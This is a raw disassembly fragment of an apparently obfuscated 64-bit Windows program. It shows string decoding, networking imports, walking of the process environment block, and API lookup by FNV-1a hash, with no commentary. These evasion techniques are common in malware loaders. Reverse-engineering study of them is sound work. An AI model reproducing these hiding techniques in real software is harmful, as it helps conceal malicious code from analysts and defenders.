je 0x1400fd299
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1400fd27a
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1400fd258
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x1400fd23e
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x1400fd224
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400fd207
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400fd1ed
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x1400fd1d3
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x1400fce4e
lea rbx, [r10 + 0x400]
lea r10, [rbx + 0x5a]
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x1400fd747
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x1400fd727
lea rax, [r10 + 0x64]
cmp rbx, rax
jb 0x1400fd043
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1400fd025
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x1400fd002
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x1400fd1b4
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x1400fd1a6
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1400fd187
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1400fd15c
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x1400fce4e
lea rbx, [r10 + 4]
lea r10, [rbx + 0xa]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x1400fd13d
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x1400fd11c
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x1400fd10b
lea rax, [r10 + 1]
cmp rbx, rax
ja 0x1400fd0ec
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x1400fd0cf
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x1400fd0b2
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x1400fd098
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1400fd07e
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x1400fd061
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x1400fce4e
lea rbx, [r10 + 0x42]
lea r10, [rbx + 0x10]
jmp 0x1400fce4e
lea edx, [r9 + 0x24]
mov ecx, 2
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x28], r13
jmp 0x1400fce41
lea ecx, [r9 + 0x4c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x14
mov qword [rbp - 0x28], r13
jmp 0x1400fcde0
lea ecx, [r9 + 0x74]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x2c
mov qword [rbp - 0x28], r13
jmp 0x1400fcd78
lea ecx, [r9 - 0x20]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x20
mov r11b, r9b
jmp 0x1400fd64a
lea ecx, [r14 + r9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x38
jmp 0x1400fd66b
lea ecx, [r9 + 0x30]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x50
jmp 0x1400fd66e
lea ecx, [r9 + 0x58]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x68
mov r11b, r9b
jmp 0x1400fd53a
lea ecx, [r9 + 0x80]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
add r13b, 0x80
jmp 0x1400fd5f4
lea edx, [r9 - 0x58]
mov ecx, 0x34
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1400fd693
lea edx, [r9 - 0x30]
mov ecx, Ordinal_41
mov r11b, r9b
jmp 0x1400fd590
mov dl, r9b
sub dl, r14b
mov ecx, Ordinal_32
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1400fd6c3
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1400fd70c
lea edx, [r9 - 0x7c]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x28], r13
mov byte [rbp + r9 + 0x290], r13b
jmp 0x1400fd71f
lea edx, [r9 - 0x54]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1400fd357
lea edx, [r9 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x1400fd313
lea edx, [r9 - 4]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1400fd2eb
lea ecx, [r9 + 0x28]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x18
jmp 0x1400fd70c
lea ecx, [r9 + 0x50]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x30
jmp 0x1400fd6c3
mov r11b, r9b
lea ecx, [r11 + 0x78]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x48
jmp 0x1400fd5a1
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x60
jmp 0x1400fd693
lea ecx, [r9 - 0x38]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x78
jmp 0x1400fd5f4
mov r11b, r9b
lea edx, [r11 - 0x10]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1400fd53a
lea edx, [r9 + 0x18]
mov al, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1400fd66e
lea edx, [r9 + 0x40]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1400fd66b
mov r11b, r9b
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400fd639
lea rcx, [r10 + 2]
cmp rbx, rcx
jae 0x1400fd385
lea ecx, [r9 - 0x14]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x74
mov qword [rbp - 0x28], r13
lea rax, [r10 + rbx]
cmp rax, 0x20
je 0x1400fd563
lea rax, [r10 + 8]
cmp rbx, rax
jbe 0x1400fd423
lea edx, [r9 + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x28], r13
cmp rbx, 0x28
jae 0x1400fd517
lea rax, [r10 + 0x200]
cmp rbx, rax
jbe 0x1400fd49a
lea ecx, [r9 - 0x68]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x28
mov qword [rbp - 0x28], r13
cmp r10, 0x7a
jb 0x1400fd17a
mov r11b, r9b
lea ecx, [r14 + r11]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea r13d, [rcx*2 - 0x70]
jmp 0x1400fd64a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400fd3a7
lea ecx, [r9 - 0x48]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, r14b
jmp 0x1400fd70c
cmp rbx, rcx
jne 0x1400fd3bd
mov r11b, r9b
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400fd590
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1400fd3d4
lea edx, [r9 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400fd0f5
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1400fd3fc
lea edx, [r9 + 0x18]
mov al, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1400fd5f4
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400fd2ef
lea ecx, [r9 - 0x38]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x78
jmp 0x1400fd66e
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400fd43d
mov r11b, r9b
lea edx, [r11 + 0x14]
mov ecx, Ordinal_60
jmp 0x1400fd639
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400fd460
lea ecx, [r9 + 0x74]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x2c
jmp 0x1400fd5f4
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1400fd47f
lea ecx, [r9 + 0x4c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
jmp 0x1400fd68f
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1400fd328
lea edx, [r9 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x1400fd146
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400fd4bd
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x10
jmp 0x1400fd70c
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400fd4d4
lea edx, [r9 + 0x48]
mov ecx, 4
jmp 0x1400fd127
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400fd4ed
mov dl, r9b
sub dl, r14b
mov ecx, Ordinal_32
jmp 0x1400fd0f5
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1400fd35b
mov r11b, r9b
lea ecx, [r11 + 0x30]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x50
jmp 0x1400fd64a
mov r11b, r9b
lea edx, [r11 - 0x20]
mov al, dl
and al, r8b
add al, al
mov r13b, byte [rbp + r9 + 0x290]
sub r13b, al
sub r13b, 0x20
add r13b, r8b
add r13b, dl
sub r11b, 0x34
mov al, r8b
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r13b
add cl, r8b
add cl, r11b
mov byte [rbp + r9 + 0x290], cl
jmp 0x1400fd5f4
mov r11b, r9b
lea ecx, [r11 - 0x48]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x290]
lea r13d, [r8 + rcx]
sub r13b, r14b
jmp 0x1400fd5a1
mov r11b, r9b
lea edx, [r11 + 0x44]
mov ecx, reloc.WS2_32.dll_select
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
sub r11b, 0x5c
mov al, r8b
and al, r11b
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x7c
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x290], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x1400fd6c3
lea edx, [r9 + 0x6c]
mov ecx, 6
jmp 0x1400fd0f5
lea ecx, [r9 - 0x6c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0xc
add rbx, r10
jmp 0x1400fd693
lea ecx, [r9 + 0xc]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x54
jmp 0x1400fd66b
mov r11b, r9b
lea ecx, [r11 + 0x34]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x6c
jmp 0x1400fd64a
mov r11b, r9b
lea edx, [r11 - 0x7c]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
sub r11b, 0xc
mov al, r11b
and al, r8b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
add cl, r8b
mov byte [rbp + r9 + 0x290], cl
add r10, r15
sub r9, r15
jmp 0x1400fd71b
movabs rcx, 0xb94dbc2f2e0dd34c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea r13d, [rdx + rcx]
sub r13b, 0x14
movzx eax, r13b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1400fd71b
movabs rcx, 0xbc47a16f8b5d039c
add rcx, r9
mov r8b, dl
mov al, cl
and al, dl
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x44
lea edx, [r9 - 0x70]
mov al, r8b
and al, dl
mov ecx, r14d
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x290], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1400fd70c
movabs rcx, 0x3dc4940fba049bc4
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea r13d, [rdx + rcx]
sub r13b, 0x5c
movzx eax, byte [rbp + r9 + 0x290]
add rax, r10
add r9, rax
mov qword [rbp - 0x28], r13
add r9, r15
jmp 0x1400fcd65
sub r9b, 0x64
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea r13d, [r9 + r8]
sub r13b, 0x44
mov qword [rbp - 0x28], r13
jmp 0x1400fcd60
sub r9b, 0x3c
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea r13d, [r8 + r9]
sub r13b, 0x5c
mov qword [rbp - 0x28], r13
jmp 0x1400fcd50
lea rcx, [rbp + 0x172e520]
jmp 0x1400fd780
lea rcx, [rbp + 0x11f190c]
jmp 0x1400fd780
lea rcx, [rbp + 0x290]
mov rax, rsi
sub rcx, rsi
movzx r8d, byte [rax]
movzx edx, byte [rax + rcx]
sub r8d, edx
jne 0x1400fd79a
add rax, r15
test edx, edx
jne 0x1400fd786
xor eax, eax
test r8d, r8d
jne 0x1400feca9
mov byte [rbp + 0x2d0], 0x66
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d1], xmm0
mov word [rbp + 0x2e1], ax
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x13
jae 0x1400fdfad
movzx r8d, byte [rbp + r9 + 0x2d0]
mov edx, r8d
cmp rbx, r9
ja 0x1400fdfa4
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1400fd820
movabs rcx, 0x352ddab4aac75631
add rcx, r9
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x57
jmp 0x1400fd9b4
je 0x1400fdf41
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400fdef4
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1400fdec8
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400fdea6
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1400fde87
cmp r10, r9
ja 0x1400fdf9b
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x1400fd888
lea ecx, [r9 + 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x23
add cl, r8b
mov dil, cl
mov qword [rbp - 0x70], rdi
jmp 0x1400fd8c9
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400fde52
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400fde40
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1400fde26
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1400fdddc
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400fddc7
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1400fdab5
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1400fda9d
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1400fda88
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x1400fda6e
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400fda56
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x1400fd8d6
mov rbx, rax
lea r10, [rax + 0x10]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1400fdf7b
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x1400fd99e
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x1400fda44
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x1400fda1d
mov rbx, rax
lea r10, [rax + 5]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x1400fda04
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1400fd9ec
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1400fd9d2
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x1400fd9bd
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x1400fd8d6
mov rbx, rax
lea r10, [rax + 0x80]
jmp 0x1400fd8d6
lea ecx, [r9 + 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x71
add cl, r8b
mov dil, cl
mov qword [rbp - 0x70], rdi
jmp 0x1400fd85a
lea ecx, [r9 - 0x3a]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x6a
jmp 0x1400fde97
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x1400fdedd
lea ecx, [r9 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 4
mov r11b, r9b
jmp 0x1400fddef
lea edx, [r9 + 0x18]
mov ecx, Ordinal_45
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add cl, dl
jmp 0x1400fdf59
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0xb
add cl, r8b
mov dil, cl
mov qword [rbp - 0x70], rdi
mov byte [rbp + r9 + 0x2d0], dil
jmp 0x1400fdf73
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x15
jmp 0x1400fdad2
mov r11b, r9b
lea ecx, [r11 + 0x5a]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x76
jmp 0x1400fddef
lea ecx, [r9 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x1400fdedd
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x10
jmp 0x1400fde97
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x62
mov r11b, r9b
jmp 0x1400fde65
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x1400fdb73
lea ecx, [r9 + 0x31]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x57
add cl, r8b
mov dil, cl
mov qword [rbp - 0x70], rdi
lea rax, [r10 + rbx]
cmp rax, 0xa
je 0x1400fddb2
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x1400fdc26
lea ecx, [r9 - 0x53]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x45
add cl, r8b
mov dil, cl
mov qword [rbp - 0x70], rdi
cmp rbx, 0x1000
jae 0x1400fdd69
lea rax, [r10 + 0x1000]
cmp rbx, rax
jbe 0x1400fdcb0
lea edx, [r9 - 0x4e]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov dil, cl
mov qword [rbp - 0x70], rdi
cmp r10, 6
jb 0x1400fda37
mov r11b, r9b
lea ecx, [r11 - 0x7a]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
add cl, cl
sub cl, 0x54
jmp 0x1400fde68
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400fdb91
lea ecx, [r9 + 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x46
jmp 0x1400fdf59
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400fdbb3
lea edx, [r9 + 0x6c]
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
jmp 0x1400fdf0c
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400fdbd8
mov r11b, r9b
lea edx, [r11 - 0x32]
mov ecx, Ordinal_50
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add cl, dl
jmp 0x1400fddef
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1400fdbfd
lea edx, [r9 - 0x6e]
mov al, dl
and al, r8b
mov ecx, r15d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400fdedd
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1400fdadc
mov r11b, r9b
lea edx, [r11 + 0x1a]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
jmp 0x1400fde65
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400fdc47
mov r11b, r9b
lea ecx, [r11 + 0xf]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x69
jmp 0x1400fde65
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400fdc65
lea ecx, [r9 - 0x2d]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x3b
jmp 0x1400fdeb6
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400fdc8b
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x73
mov r11b, r9b
jmp 0x1400fdd8c
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1400fdb11
mov r11b, r9b
lea ecx, [r11 + 0x5b]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x7d
jmp 0x1400fddef
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400fdcc7
lea edx, [r9 + 0x14]
mov ecx, Ordinal_60
jmp 0x1400fda0d
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400fdce1
mov r11b, r9b
lea edx, [r11 - 0x28]
mov ecx, ntohs
jmp 0x1400fdbc8
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1400fdd04
lea ecx, [r9 - 0x64]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x1400fdedd
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400fdd25
mov r11b, r9b
lea edx, [r11 - 2]
mov al, dl
and al, r8b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1400fdd86
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1400fdd47
lea edx, [r9 + 0x60]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
jmp 0x1400fdeb6
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1400fdb4c
lea ecx, [r9 - 0x3e]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4e
jmp 0x1400fde97
mov r11b, r9b
lea edx, [r11 - 0x18]
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x2d0]
sub dil, al
sub dil, 0x58
add dil, dl
add dil, r8b
add r11b, 0x19
mov al, r8b
and al, r11b
add al, al
sub r8b, al
add r8b, 0x51
add r8b, r11b
add r8b, dil
mov byte [rbp + r9 + 0x2d0], r8b
jmp 0x1400fdedd
mov r11b, r9b
lea ecx, [r11 + 0x4a]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 6
jmp 0x1400fddf2
lea ecx, [r9 + 0x15]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x6d
jmp 0x1400fdf0c
mov r11b, r9b
lea ecx, [r11 - 0x4d]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x1b
add cl, r8b
mov qword [rbp - 0x70], rcx
add r11b, 0x7b
mov al, r8b
and al, r11b
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x5d
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x2d0], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x1400fdf13
lea ecx, [r9 + 0x51]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x37
jmp 0x1400fdee0
lea ecx, [r9 + 0x2b]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x2d
jmp 0x1400fdeb6
mov r11b, r9b
lea ecx, [r11 + 0x67]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x2f
add cl, r8b
sub r11b, 0x49
mov al, r8b
and al, r11b
add al, al
sub r8b, al
add r8b, r11b
sub r8b, r15b
mov byte [rbp + r9 + 0x2d0], r8b
jmp 0x1400fde9a
lea ecx, [r9 + 0x41]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x39
add cl, r8b
mov qword [rbp - 0x70], rcx
add r10, r15
mov rdi, rcx
jmp 0x1400fdec0
lea ecx, [r9 - 0x21]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x19
add cl, r8b
mov dil, cl
mov qword [rbp - 0x70], rdi
sub r9, r15
jmp 0x1400fdf73
lea ecx, [r9 + 0x1b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x43
add rbx, r10
mov qword [rbp - 0x70], rdi
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1400fdf73
movabs rcx, 0x9e5458755e4aef5
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
add cl, 0x4d
add cl, r8b
mov qword [rbp - 0x70], rcx
lea edx, [r9 - 0x54]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x2d0], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1400fdf60
movabs rcx, 0x9f89901e00560293
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
sub cl, 5
add cl, r8b
mov qword [rbp - 0x70], rcx
movzx eax, byte [rbp + r9 + 0x2d0]
add rax, r10
add r9, rax
mov rdi, qword [rbp - 0x70]
add r9, r15
jmp 0x1400fd7d2
add r9b, 0x13
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea edi, [r8 + r9]
add dil, 0x7b
mov qword [rbp - 0x70], rdi
jmp 0x1400fd7bd
lea rdx, [rbp + 0x16debbc]
jmp 0x1400fdfb4
lea rdx, [rbp + 0x7541ed]
jmp 0x1400fdfb4
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x2b0]
call fcn.140051148
mov rcx, rax
call fcn.140146738
mov rdx, qword [0x14017c650]
xor eax, eax
test rdx, rdx
jne 0x1400fe132
mov esi, eax
mov r14d, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movd eax, xmm0
sub ax, r13w
test esi, esi
je 0x1400fe03f
psrldq xmm0, 8
movq rdx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x1400fe031
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x1400fe020
cmp r9d, esi
jne 0x1400fe11f
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1400fe11f
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1400fe11f
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x1400fe09a
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x1400fe08d
cmp r8d, r14d
je 0x1400fe0af
test ebx, ebx
jne 0x1400fe078
jmp 0x1400fe11f
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x1400fe127
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x1400fe127
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1400fe0f0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1400fe0e2
jmp 0x1400fe105
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
